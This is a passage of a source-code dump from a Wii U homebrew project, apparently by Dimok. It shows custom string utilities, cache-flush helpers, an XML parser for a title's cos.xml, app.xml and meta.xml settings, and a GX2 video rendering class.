0x5B #define BYTE_SAVE_REMOVE 0x5C #define BYTE_CREATE_THREAD 0x60 #ifdef DEBUG_LOGGER void log_init(); //void log_deinit(void); void log_print(const char *str); void log_printf(const char *format, ...); #else #define log_init() #define log_print(x) #define log_printf(x, ...) #endif #ifdef __cplusplus } #endif #endif ================================================ FILE: src/utils/strings.c ================================================ #include "strings.h" void* m_memcpy(void *dst, const void *src, unsigned int len) { const unsigned char *src_ptr = (const unsigned char *)src; unsigned char *dst_ptr = (unsigned char *)dst; while(len) { *dst_ptr++ = *src_ptr++; --len; } return dst; } void* m_memset(void *dst, int val, unsigned int bytes) { unsigned char *dst_ptr = (unsigned char *)dst; unsigned int i = 0; while(i < bytes) { dst_ptr[i] = val; ++i; } return dst; } int m_memcmp(const void * ptr1, const void * ptr2, unsigned int num) { const unsigned char *ptr1_cpy = (const unsigned char *)ptr1; const unsigned char *ptr2_cpy = (const unsigned char *)ptr2; while(num) { int diff = (int)*ptr1_cpy - (int)*ptr2_cpy; if(diff != 0) { return diff; } ptr1_cpy++; ptr2_cpy++; --num; } return 0; } int m_strnlen(const char* str, unsigned int max_len) { unsigned int i = 0; while (str[i] && (i < max_len)) { i++; } return i; } int m_strlen(const char* str) { unsigned int i = 0; while (str[i]) { i++; } return i; } int m_strlcpy(char *s1, const char *s2, unsigned int max_size) { if(!s1 || !s2 || !max_size) return 0; unsigned int len = 0; while(s2[len] && (len < (max_size-1))) { s1[len] = s2[len]; len++; } s1[len] = 0; return len; } int m_strncpy(char *dst, const char *src, unsigned int max_size) { return m_strlcpy(dst, src, max_size); // this is not correct, but mostly we need a terminating zero } int m_strncasecmp(const char *s1, const char *s2, unsigned int max_len) { if(!s1 || !s2) { return -1; } unsigned int len = 0; while(*s1 && *s2 && len < max_len) { int diff = m_toupper(*s1) - m_toupper(*s2); if(diff != 0) { return diff; } s1++; s2++; len++; } if(len == max_len) { return 0; } int diff = m_toupper(*s1) - m_toupper(*s2); if(diff != 0) { return diff; } return 0; } int m_strncmp(const char *s1, const char *s2, unsigned int max_len) { if(!s1 || !s2) { return -1; } unsigned int len = 0; while(*s1 && *s2 && len < max_len) { int diff = *s1 - *s2; if(diff != 0) { return diff; } s1++; s2++; len++; } if(len == max_len) { return 0; } int diff = *s1 - *s2; if(diff != 0) { return diff; } return 0; } const char *m_strcasestr(const char *str, const char *pattern) { if(!str || !pattern) { return 0; } int len = m_strnlen(pattern, 0x1000); while(*str) { if(m_strncasecmp(str, pattern, len) == 0) { return str; } str++; } return 0; } long long m_strtoll(const char *str, char **end, int base) { long long value = 0; int sign = 1; // skip initial spaces only while(*str == ' ') str++; if(*str == '-') { sign = -1; str++; } while(*str) { if(base == 16 && m_toupper(*str) == 'X') { str++; continue; } if(!(*str >= '0' && *str <= '9') && !(base == 16 && m_toupper(*str) >= 'A' && m_toupper(*str) <= 'F')) break; value *= base; if(m_toupper(*str) >= 'A' && m_toupper(*str) <= 'F') value += m_toupper(*str) - 'A' + 10; else value += *str - '0'; str++; } if(end) *end = (char*) str; return value * sign; } ================================================ FILE: src/utils/strings.h ================================================ #ifndef __STRINGS_H_ #define __STRINGS_H_ static inline int m_toupper(int c) { return (c >= 'a' && c <= 'z') ? (c - 0x20) : c; } void* m_memcpy(void *dst, const void *src, unsigned int len); void* m_memset(void *dst, int val, unsigned int len); int m_memcmp (const void * ptr1, const void * ptr2, unsigned int num); /* string functions */ int m_strncasecmp(const char *s1, const char *s2, unsigned int max_len); int m_strncmp(const char *s1, const char *s2, unsigned int max_len); int m_strncpy(char *dst, const char *src, unsigned int max_size); int m_strlcpy(char *s1, const char *s2, unsigned int max_size); int m_strnlen(const char* str, unsigned int max_size); int m_strlen(const char* str); const char *m_strcasestr(const char *str, const char *pattern); long long m_strtoll(const char *str, char **end, int base); #endif // __STRINGS_H_ ================================================ FILE: src/utils/utils.c ================================================ void m_DCFlushRange(unsigned int startAddr, unsigned int size) { register unsigned int addr = startAddr & ~0x1F; register unsigned int end_addr = startAddr + size; while(addr < end_addr) { asm volatile("dcbf 0, %0" : : "r"(addr)); addr += 0x20; } asm volatile("sync; eieio"); } void m_DCInvalidateRange(unsigned int startAddr, unsigned int size) { register unsigned int addr = startAddr & ~0x1F; register unsigned int end_addr = startAddr + size; while(addr < end_addr) { asm volatile("dcbi 0, %0" : : "r"(addr)); addr += 0x20; } } ================================================ FILE: src/utils/utils.h ================================================ #ifndef __UTILS_H_ #define __UTILS_H_ #include #include "../common/types.h" #ifdef __cplusplus extern "C" { #endif #define LIMIT(x, min, max) \ ({ \ typeof( x ) _x = x; \ typeof( min ) _min = min; \ typeof( max ) _max = max; \ ( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \ }) #define DegToRad(a) ( (a) * 0.01745329252f ) #define RadToDeg(a) ( (a) * 57.29577951f ) #define ALIGN4(x) (((x) + 3) & ~3) #define ALIGN32(x) (((x) + 31) & ~31) // those work only in powers of 2 #define ROUNDDOWN(val, align) ((val) & ~(align-1)) #define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align) #define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8))) #define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16))) #define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32))) void m_DCFlushRange(unsigned int startAddr, unsigned int size); void m_DCInvalidateRange(unsigned int startAddr, unsigned int size); #ifdef __cplusplus } #endif #endif // __UTILS_H_ ================================================ FILE: src/utils/xml.c ================================================ #include #include #include "strings.h" #include "common/kernel_defs.h" #include "dynamic_libs/fs_functions.h" #include "dynamic_libs/os_functions.h" #include "fs/fs_utils.h" #include "utils.h" #include "logger.h" #define XML_BUFFER_SIZE 8192 char * XML_GetNodeText(const char *xml_part, const char * nodename, char * output, int output_size) { // create '<' + nodename char buffer[strlen(nodename) + 3]; buffer[0] = '<'; strlcpy(&buffer[1], nodename, sizeof(buffer)); const char *start = strcasestr(xml_part, buffer); if(!start) return 0; // find closing tag while(*start && *start != '>') start++; // skip '>' if(*start == '>') start++; // create 'version_cos_xml = 18; // default for most games xmlInfo->os_version = 0x000500101000400A; // default for most games xmlInfo->title_id = OSGetTitleID(); // use mii maker ID xmlInfo->app_type = 0x80000000; // default for most games xmlInfo->cmdFlags = 0; // default for most games strlcpy(xmlInfo->rpx_name, rpx_name, sizeof(xmlInfo->rpx_name)); xmlInfo->max_size = 0x40000000; // default for most games xmlInfo->avail_size = 0; // default for most games xmlInfo->codegen_size = 0; // default for most games xmlInfo->codegen_core = 1; // default for most games xmlInfo->max_codesize = 0x03000000; // i think this is the best for most games xmlInfo->overlay_arena = 0; // only very few have that set to 1 xmlInfo->exception_stack0_size = 0x1000; // default for most games xmlInfo->exception_stack1_size = 0x1000; // default for most games xmlInfo->exception_stack2_size = 0x1000; // default for most games xmlInfo->sdk_version = 20909; // game dependent, lets take the one from mii maker xmlInfo->title_version = 0; // game dependent, we say its 0 //-------------------------------------------------------------------------------------------- char* path_copy = (char*)malloc(FS_MAX_MOUNTPATH_SIZE); if (!path_copy) return -1; char* xmlNodeData = (char*)malloc(XML_BUFFER_SIZE); if(!xmlNodeData) { free(path_copy); return -3; } // create path snprintf(path_copy, FS_MAX_MOUNTPATH_SIZE, "%s/cos.xml", path); char* xmlData = NULL; u32 xmlSize = 0; if(LoadFileToMem(path_copy, (u8**) &xmlData, &xmlSize) > 0) { // ensure 0 termination xmlData[XML_BUFFER_SIZE-1] = 0; if(XML_GetNodeText(xmlData, "version", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 10); xmlInfo->version_cos_xml = value; } if(XML_GetNodeText(xmlData, "cmdFlags", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 10); xmlInfo->cmdFlags = value; } if(XML_GetNodeText(xmlData, "argstr", xmlNodeData, XML_BUFFER_SIZE)) { // use arguments from xml if rpx name matches with FS if (strncasecmp(xmlNodeData, rpx_name, strlen(rpx_name)) == 0) { strlcpy(xmlInfo->rpx_name, xmlNodeData, sizeof(xmlInfo->rpx_name)); } } if(XML_GetNodeText(xmlData, "avail_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->avail_size = value; } if(XML_GetNodeText(xmlData, "codegen_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->codegen_size = value; } if(XML_GetNodeText(xmlData, "codegen_core", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->codegen_core = value; } if(XML_GetNodeText(xmlData, "max_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->max_size = value; } if(XML_GetNodeText(xmlData, "max_codesize", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->max_codesize = value; } if(XML_GetNodeText(xmlData, "overlay_arena", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->overlay_arena = value; } if(XML_GetNodeText(xmlData, "default_stack0_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->default_stack0_size = value; } if(XML_GetNodeText(xmlData, "default_stack1_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->default_stack1_size = value; } if(XML_GetNodeText(xmlData, "default_stack2_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->default_stack2_size = value; } if(XML_GetNodeText(xmlData, "default_redzone0_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->default_redzone0_size = value; } if(XML_GetNodeText(xmlData, "default_redzone1_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->default_redzone1_size = value; } if(XML_GetNodeText(xmlData, "default_redzone2_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->default_redzone2_size = value; } if(XML_GetNodeText(xmlData, "exception_stack0_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->exception_stack0_size = value; } if(XML_GetNodeText(xmlData, "exception_stack1_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->exception_stack0_size = value; } if(XML_GetNodeText(xmlData, "exception_stack2_size", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->exception_stack0_size = value; } } //! free previous XML data memory free(xmlData); // create path snprintf(path_copy, FS_MAX_MOUNTPATH_SIZE, "%s/app.xml", path); if(LoadFileToMem(path_copy, (u8**) &xmlData, &xmlSize) > 0) { // ensure 0 termination xmlData[XML_BUFFER_SIZE-1] = 0; //-------------------------------------------------------------------------------------------- // version tag is still unknown where it is used //-------------------------------------------------------------------------------------------- if(XML_GetNodeText(xmlData, "os_version", xmlNodeData, XML_BUFFER_SIZE)) { uint64_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->os_version = value; } if(XML_GetNodeText(xmlData, "title_id", xmlNodeData, XML_BUFFER_SIZE)) { uint64_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->title_id = value; } if(XML_GetNodeText(xmlData, "title_version", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->title_version = value; } if(XML_GetNodeText(xmlData, "sdk_version", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 10); xmlInfo->sdk_version = value; } if(XML_GetNodeText(xmlData, "app_type", xmlNodeData, XML_BUFFER_SIZE)) { uint32_t value = m_strtoll(xmlNodeData, 0, 16); xmlInfo->app_type = value; } //-------------------------------------------------------------------------------------------- // group_id tag is still unknown where it is used //-------------------------------------------------------------------------------------------- } free(xmlData); free(xmlNodeData); free(path_copy); return 0; } int GetId6FromMeta(const char *path, char *id6) { id6[0] = 0; char* path_copy = (char*)malloc(FS_MAX_MOUNTPATH_SIZE); if (!path_copy) return -1; char* xmlNodeData = (char*)malloc(XML_BUFFER_SIZE); if(!xmlNodeData) { free(path_copy); return -3; } // create path snprintf(path_copy, FS_MAX_MOUNTPATH_SIZE, "%s/meta.xml", path); char* xmlData = NULL; u32 xmlSize = 0; if(LoadFileToMem(path_copy, (u8**) &xmlData, &xmlSize) > 0) { // ensure 0 termination xmlData[XML_BUFFER_SIZE-1] = 0; if(XML_GetNodeText(xmlData, "product_code", xmlNodeData, XML_BUFFER_SIZE) && strlen(xmlNodeData) == 10) strncpy(id6, xmlNodeData + 6, 4); if(XML_GetNodeText(xmlData, "company_code", xmlNodeData, XML_BUFFER_SIZE) && strlen(xmlNodeData) == 4) strncpy(id6 + 4, xmlNodeData + 2, 2); id6[6] = 0; } free(xmlData); free(xmlNodeData); free(path_copy); if(strlen(id6) == 6) return 0; else return -2; } ================================================ FILE: src/utils/xml.h ================================================ #ifndef __XML_H_ #define __XML_H_ #include "../common/kernel_defs.h" #ifdef __cplusplus extern "C" { #endif char * XML_GetNodeText(const char *xml_part, const char * nodename, char * output, int output_size); int LoadXmlParameters(ReducedCosAppXmlInfo * xmlInfo, const char *rpx_name, const char *path); int GetId6FromMeta(const char *path, char *output); #ifdef __cplusplus } #endif #endif // __XML_H_ ================================================ FILE: src/video/CVideo.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "CVideo.h" #include "system/memory.h" #include "shaders/Texture2DShader.h" #include "shaders/ColorShader.h" #include "shaders/Shader3D.h" #include "shaders/ShaderFractalColor.h" #include "shaders/FXAAShader.h" #include "dynamic_libs/os_functions.h" CVideo::CVideo(s32 forceTvScanMode, s32 forceDrcScanMode) { tvEnabled = false; drcEnabled = false; //! allocate MEM2 command buffer memory gx2CommandBuffer = MEM2_alloc(GX2_COMMAND_BUFFER_SIZE, 0x40); //! initialize GX2 command buffer u32 gx2_init_attributes[9]; gx2_init_attributes[0] = GX2_INIT_ATTRIB_CB_BASE; gx2_init_attributes[1] = (u32)gx2CommandBuffer; gx2_init_attributes[2] = GX2_INIT_ATTRIB_CB_SIZE; gx2_init_attributes[3] = GX2_COMMAND_BUFFER_SIZE; gx2_init_attributes[4] = GX2_INIT_ATTRIB_ARGC; gx2_init_attributes[5] = 0; gx2_init_attributes[6] = GX2_INIT_ATTRIB_ARGV; gx2_init_attributes[7] = 0; gx2_init_attributes[8] = GX2_INIT_ATTRIB_NULL; GX2Init(gx2_init_attributes); //! GX2 resources are not used in this application but if needed, the allocator is setup GX2RSetAllocator(&CVideo::GX2RAlloc, &CVideo::GX2RFree); u32 scanBufferSize = 0; s32 scaleNeeded = 0; s32 tvScanMode = (forceTvScanMode >= 0) ? forceTvScanMode : GX2GetSystemTVScanMode(); s32 drcScanMode = (forceDrcScanMode >= 0) ? forceDrcScanMode : GX2GetSystemDRCScanMode(); s32 tvRenderMode; u32 tvWidth = 0; u32 tvHeight = 0; switch(tvScanMode) { case GX2_TV_SCAN_MODE_480I: case GX2_TV_SCAN_MODE_480P: tvWidth = 854; tvHeight = 480; tvRenderMode = GX2_TV_RENDER_480_WIDE; break; case GX2_TV_SCAN_MODE_1080I: case GX2_TV_SCAN_MODE_1080P: tvWidth = 1920; tvHeight = 1080; tvRenderMode = GX2_TV_RENDER_1080; break; case GX2_TV_SCAN_MODE_720P: default: tvWidth = 1280; tvHeight = 720; tvRenderMode = GX2_TV_RENDER_720; break; } s32 tvAAMode = GX2_AA_MODE_1X; s32 drcAAMode = GX2_AA_MODE_4X; //! calculate the scale factor for later texture resize widthScaleFactor = 1.0f / (f32)tvWidth; heightScaleFactor = 1.0f / (f32)tvHeight; depthScaleFactor = widthScaleFactor; //! calculate the size needed for the TV scan buffer and allocate the buffer from bucket memory GX2CalcTVSize(tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); tvScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); GX2Invalidate(GX2_INVALIDATE_CPU, tvScanBuffer, scanBufferSize); GX2SetTVBuffer(tvScanBuffer, scanBufferSize, tvRenderMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); //! calculate the size needed for the DRC scan buffer and allocate the buffer from bucket memory GX2CalcDRCSize(drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE, &scanBufferSize, &scaleNeeded); drcScanBuffer = MEMBucket_alloc(scanBufferSize, GX2_SCAN_BUFFER_ALIGNMENT); GX2Invalidate(GX2_INVALIDATE_CPU, drcScanBuffer, scanBufferSize); GX2SetDRCBuffer(drcScanBuffer, scanBufferSize, drcScanMode, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_BUFFERING_DOUBLE); //! Setup color buffer for TV rendering GX2InitColorBuffer(&tvColorBuffer, GX2_SURFACE_DIM_2D, tvWidth, tvHeight, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, tvAAMode); tvColorBuffer.surface.image_data = MEM1_alloc(tvColorBuffer.surface.image_size, tvColorBuffer.surface.align); GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.surface.image_data, tvColorBuffer.surface.image_size); //! due to AA we can only use 16 bit depth buffer in MEM1 otherwise we would have to switch to mem2 for depth buffer //! this should be ok for our purpose i guess //! Setup TV depth buffer (can be the same for both if rendered one after another) u32 size, align; GX2InitDepthBuffer(&tvDepthBuffer, GX2_SURFACE_DIM_2D, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, tvAAMode); tvDepthBuffer.surface.image_data = MEM1_alloc(tvDepthBuffer.surface.image_size, tvDepthBuffer.surface.align); GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.surface.image_data, tvDepthBuffer.surface.image_size); //! Setup TV HiZ buffer GX2CalcDepthBufferHiZInfo(&tvDepthBuffer, &size, &align); tvDepthBuffer.hiZ_data = MEM1_alloc(size, align); GX2Invalidate(GX2_INVALIDATE_CPU, tvDepthBuffer.hiZ_data, size); GX2InitDepthBufferHiZEnable(&tvDepthBuffer, GX2_ENABLE); //! Setup color buffer for DRC rendering GX2InitColorBuffer(&drcColorBuffer, GX2_SURFACE_DIM_2D, 854, 480, 1, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, drcAAMode); drcColorBuffer.surface.image_data = MEM1_alloc(drcColorBuffer.surface.image_size, drcColorBuffer.surface.align); GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.surface.image_data, drcColorBuffer.surface.image_size); //! Setup DRC depth buffer (can be the same for both if rendered one after another) GX2InitDepthBuffer(&drcDepthBuffer, GX2_SURFACE_DIM_2D, drcColorBuffer.surface.width, drcColorBuffer.surface.height, 1, GX2_SURFACE_FORMAT_TCD_R32_FLOAT, drcAAMode); drcDepthBuffer.surface.image_data = MEM1_alloc(drcDepthBuffer.surface.image_size, drcDepthBuffer.surface.align); GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.surface.image_data, drcDepthBuffer.surface.image_size); //! Setup DRC HiZ buffer GX2CalcDepthBufferHiZInfo(&drcDepthBuffer, &size, &align); drcDepthBuffer.hiZ_data = MEM1_alloc(size, align); GX2Invalidate(GX2_INVALIDATE_CPU, drcDepthBuffer.hiZ_data, size); GX2InitDepthBufferHiZEnable(&drcDepthBuffer, GX2_ENABLE); //! allocate auxilary buffer last as there might not be enough MEM1 left for other stuff after that if (tvColorBuffer.surface.aa) { u32 auxSize, auxAlign; GX2CalcColorBufferAuxInfo(&tvColorBuffer, &auxSize, &auxAlign); tvColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); if(!tvColorBuffer.aux_data) tvColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); tvColorBuffer.aux_size = auxSize; memset(tvColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); GX2Invalidate(GX2_INVALIDATE_CPU, tvColorBuffer.aux_data, auxSize); } if (drcColorBuffer.surface.aa) { u32 auxSize, auxAlign; GX2CalcColorBufferAuxInfo(&drcColorBuffer, &auxSize, &auxAlign); drcColorBuffer.aux_data = MEM1_alloc(auxSize, auxAlign); if(!drcColorBuffer.aux_data) drcColorBuffer.aux_data = MEM2_alloc(auxSize, auxAlign); drcColorBuffer.aux_size = auxSize; memset(drcColorBuffer.aux_data, GX2_AUX_BUFFER_CLEAR_VALUE, auxSize); GX2Invalidate(GX2_INVALIDATE_CPU, drcColorBuffer.aux_data, auxSize ); } //! allocate memory and setup context state TV tvContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT); GX2SetupContextStateEx(tvContextState, GX2_TRUE); //! allocate memory and setup context state DRC drcContextState = (GX2ContextState*)MEM2_alloc(sizeof(GX2ContextState), GX2_CONTEXT_STATE_ALIGNMENT); GX2SetupContextStateEx(drcContextState, GX2_TRUE); //! set initial context state and render buffers GX2SetContextState(tvContextState); GX2SetColorBuffer(&tvColorBuffer, GX2_RENDER_TARGET_0); GX2SetDepthBuffer(&tvDepthBuffer); GX2SetContextState(drcContextState); GX2SetColorBuffer(&drcColorBuffer, GX2_RENDER_TARGET_0); GX2SetDepthBuffer(&drcDepthBuffer); //! set initial viewport GX2SetViewport(0.0f, 0.0f, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 0.0f, 1.0f); GX2SetScissor(0, 0, tvColorBuffer.surface.width, tvColorBuffer.surface.height); //! this is not necessary but can be used for swap counting and vsyncs GX2SetSwapInterval(1); //GX2SetTVGamma(0.8f); //GX2SetDRCGamma(0.8f); //! initialize perspective matrix const float cam_X_rot = 25.0f; projectionMtx = glm::perspective(45.0f, 1.0f, 0.1f, 100.0f); viewMtx = glm::mat4(1.0f); viewMtx = glm::translate(viewMtx, glm::vec3(0.0f, 0.0f, -2.5f)); viewMtx = glm::rotate(viewMtx, DegToRad(cam_X_rot), glm::vec3(1.0f, 0.0f, 0.0f)); GX2InitSampler(&aaSampler, GX2_TEX_CLAMP_CLAMP, GX2_TEX_XY_FILTER_BILINEAR); GX2InitTexture(&tvAaTexture, tvColorBuffer.surface.width, tvColorBuffer.surface.height, 1, 0, GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_DEFAULT); tvAaTexture.surface.image_data = tvColorBuffer.surface.image_data; tvAaTexture.surface.image_size = tvColorBuffer.surface.image_size; tvAaTexture.surface.mip_data = tvColorBuffer.surface.mip_data; } CVideo::~CVideo() { //! flush buffers GX2Flush(); GX2DrawDone(); //! shutdown GX2Shutdown(); //! free command buffer memory MEM2_free(gx2CommandBuffer); //! free scan buffers MEMBucket_free(tvScanBuffer); MEMBucket_free(drcScanBuffer); //! free color buffers MEM1_free(tvColorBuffer.surface.image_data); MEM1_free(drcColorBuffer.surface.image_data); //! free depth buffers MEM1_free(tvDepthBuffer.surface.image_data); MEM1_free(tvDepthBuffer.hiZ_data); MEM1_free(drcDepthBuffer.surface.image_data); MEM1_free(drcDepthBuffer.hiZ_data); //! free context buffers MEM2_free(tvContextState); MEM2_free(drcContextState); //! free aux buffer if(tvColorBuffer.aux_data) { if(((u32)tvColorBuffer.aux_data & 0xF0000000) == 0xF0000000) MEM1_free(tvColorBuffer.aux_data); else MEM2_free(tvColorBuffer.aux_data); } if(drcColorBuffer.aux_data) { if(((u32)drcColorBuffer.aux_data & 0xF0000000) == 0xF0000000) MEM1_free(drcColorBuffer.aux_data); else MEM2_free(drcColorBuffer.aux_data); } //! destroy shaders ColorShader::destroyInstance(); FXAAShader::destroyInstance(); Shader3D::destroyInstance(); ShaderFractalColor::destroyInstance(); Texture2DShader::destroyInstance(); } void CVideo::renderFXAA(const GX2Texture * texture, const GX2Sampler *sampler) { resolution[0] = texture->surface.width; resolution[1] = texture->surface.height; GX2Invalidate(GX2_INVALIDATE_COLOR_BUFFER | GX2_INVALIDATE_TEXTURE, texture->surface.image_data, texture->surface.image_size); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS); FXAAShader::instance()->setShaders(); FXAAShader::instance()->setAttributeBuffer(); FXAAShader::instance()->setResolution(resolution); FXAAShader::instance()->setTextureAndSampler(texture, sampler); FXAAShader::instance()->draw(); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); } void* CVideo::GX2RAlloc(u32 flags, u32 size, u32 align) { //! min. alignment if (align < 4) align = 4; if ((flags & 0x2040E) && !(flags & 0x40000)) return MEM1_alloc(size, align); else return MEM2_alloc(size, align); } void CVideo::GX2RFree(u32 flags, void* p) { if ((flags & 0x2040E) && !(flags & 0x40000)) MEM1_free(p); else MEM2_free(p); } ================================================ FILE: src/video/CVideo.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef __CVIDEO_H_ #define __CVIDEO_H_ #include "dynamic_libs/gx2_functions.h" #include "shaders/Shader.h" class CVideo { public: CVideo(s32 forceTvScanMode = -1, s32 forceDrcScanMode = -1); virtual ~CVideo(); void prepareTvRendering(void) { currContextState = tvContextState; currColorBuffer = &tvColorBuffer; currDepthBuffer = &tvDepthBuffer; prepareRendering(); } void prepareDrcRendering(void) { currContextState = drcContextState; currColorBuffer = &drcColorBuffer; currDepthBuffer = &drcDepthBuffer; prepareRendering(); } void prepareRendering(void) { GX2ClearColor(currColorBuffer, 0.0f, 0.0f, 0.0f, 1.0f); GX2ClearDepthStencilEx(currDepthBuffer, currDepthBuffer->clear_depth, currDepthBuffer->clear_stencil, GX2_CLEAR_BOTH); GX2SetContextState(currContextState); GX2SetViewport(0.0f, 0.0f, currColorBuffer->surface.width, currColorBuffer->surface.height, 0.0f, 1.0f); GX2SetScissor(0, 0, currColorBuffer->surface.width, currColorBuffer->surface.height); GX2SetDepthOnlyControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL); GX2SetColorControl(GX2_LOGIC_OP_COPY, 1, GX2_DISABLE, GX2_ENABLE); GX2SetBlendControl(GX2_RENDER_TARGET_0, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD, GX2_ENABLE, GX2_BLEND_SRC_ALPHA, GX2_BLEND_ONE_MINUS_SRC_ALPHA, GX2_BLEND_COMBINE_ADD); GX2SetCullOnlyControl(GX2_FRONT_FACE_CCW, GX2_DISABLE, GX2_ENABLE); } void setStencilRender(bool bEnable) { if(bEnable) { GX2SetStencilMask(0xff, 0xff, 0x01, 0xff, 0xff, 0x01); GX2SetDepthStencilControl(GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_LEQUAL, GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE, GX2_COMPARE_ALWAYS, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_REPLACE); } else { GX2SetStencilMask(0xff, 0xff, 0xff, 0xff, 0xff, 0xff); GX2SetDepthStencilControl(GX2_ENABLE, GX2_ENABLE, GX2_COMPARE_LEQUAL, GX2_DISABLE, GX2_DISABLE, GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_COMPARE_NEVER, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP, GX2_STENCIL_KEEP); } } void drcDrawDone(void) { //! on DRC we do a hardware AA because FXAA does not look good //renderFXAA(&drcAaTexture, &aaSampler); GX2CopyColorBufferToScanBuffer(&drcColorBuffer, GX2_SCAN_TARGET_DRC_FIRST); } void tvDrawDone(void) { renderFXAA(&tvAaTexture, &aaSampler); GX2CopyColorBufferToScanBuffer(&tvColorBuffer, GX2_SCAN_TARGET_TV); GX2SwapScanBuffers(); GX2Flush(); } void waitForVSync(void) { GX2WaitForVsync(); frameCount++; } void tvEnable(bool bEnable) { if(tvEnabled != bEnable) { 